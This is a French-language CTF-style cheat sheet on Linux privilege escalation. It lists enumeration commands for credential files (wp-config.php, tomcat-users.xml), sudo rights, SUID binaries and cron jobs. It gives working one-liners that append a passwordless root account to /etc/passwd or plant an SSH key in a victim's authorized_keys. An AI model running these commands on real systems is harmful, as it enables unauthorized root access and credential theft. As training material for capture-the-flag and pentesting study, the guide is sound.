Pour obtenir une élévation de privilège, nous allons faire un inventaire exhaustif de ce qu'il a sur le serveur.
Des scripts font ces énumérations pour nous. Ils sont utiles une fois que l'on sait ce que l'on cherche.
Rechercher les fichiers lisibles dans les autres comptes.
find /home -readable -type f \( -iname \*.txt -o -iname \*.cfg \) 2>/dev/null
find /home -E . -regex '.*\.(txt|cfg)' 2>/dev/null
Le fichier de config s'appelle:
wp-config.php
Pour le chercher:
find /var -name wp-config.php 2>/dev/null
Ce fichier contient les login/password pour se connecter à la base de donnée.
Le fichier de config peut porter deux noms:
httpd.conf
apache2.conf
On le trouve généralement dans un des répertoires:
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
Le fichier de config porte le nom:
server.xml
Les mots de passe des utilisateurs se trouvent dans:
tomcat-users.xml
On trouve généralement ces fichiers dans un des répertoires:
TOMCAT-HOME/conf/
/usr/local/tomcat/conf/
Sudo permet de lancer des commandes en tant qu'un autre utilisateur.
sudo -l
L'utilisateur user1 peut utiliser les commandes suivantes sur target-host :
(ALL) NOPASSWD: /usr/bin/find
user2 NOPASSWD: /usr/bin/python3 /home/user2/run.py
Il est alors possible de lancer des commandes en tant que root ou un autre utilisateur avec le flag -u xxx
sudo /usr/bin/find
sudo -u user2 /usr/bin/python3 /home/user2/run.py
Si l'option NOPASSWD n'est pas définie, laa commande sudo demande le mot de passe du compte courant. Si vous être entré par un webshell, ou une connection ssh avec clef privée, il faudra se débrouiller pour connaitre le mot de passe.
Identifier les process possédant un sticky bit
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
Que faire avec un binaire possédant un sticky bit ?
- Lancer un shell
- Lire un flag
- Copier un fichier
- Ajouter une ligne à un fichier : /etc/sudoers, /etc/passwd, ~/.ssh/authorized_keys
De nombreux process permettent de lancer un shell. Idéal s'ils sont en sudo ou avec un sticky bit.
find
nmap
vi
less
awk
tee...
Reference: https://gtfobins.github.io/
Si une commande avec les droits root permet d'ajouter une ligne: ex: tee
echo XXMONCOMPTEADMINPERSO::0:0:::/bin/bash | sudo tee -a /etc/passwd
su XXMONCOMPTEADMINPERSO
Si une commande avec les droits root permet d'ajouter une ligne: ex: tee
echo 'ssh-rsa AAAAB3xxxxxxtCHN2CpQ== yolo@yoloctf.org' | sudo tee -a /home/victim/.ssh/authorized_keys
ssh -i id_rsa victim@iptarget
Identifier les process lancés par root
ps eaxf
Identifier les taches lancées par cron.
cat /etc/cron.d/*
cat /var/spool/cron/*
crontab -l
cat /etc/crontab
cat /etc/cron.(time)
systemctl list-timers
Identifier les process qui tournent régulièrement en tache de fond.
https://github.com/DominicBreuker/pspy
Version de la distribution:
cat /etc/issue
Ubuntu 18.04.3 LTS
Version du kernel: 5.0.0-37-generic
uname -a
Linux yoloctf-server 5.0.0-37-generic #40~18.04.1-Ubuntu SMP Thu Nov 14 12:06:39 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Une fois la version du kernel connue, il est possible de chercher un Exploit Kernel https://github.com/SecWiki/linux-kernel-exploits Ne jamais lancer un binaire ! Toujours récupérer les sources, les lire et les compiler...
Des scripts font une énumération complete. Il faut les tester et trouver celui qui a le format de sortie qui convient le mieux.
LinEnum.sh : https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker
unixprivesc.sh : https://github.com/pentestmonkey/unix-privesc-check
lse.sh : https://github.com/diego-treitos/linux-smart-enumeration
linPeass : https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite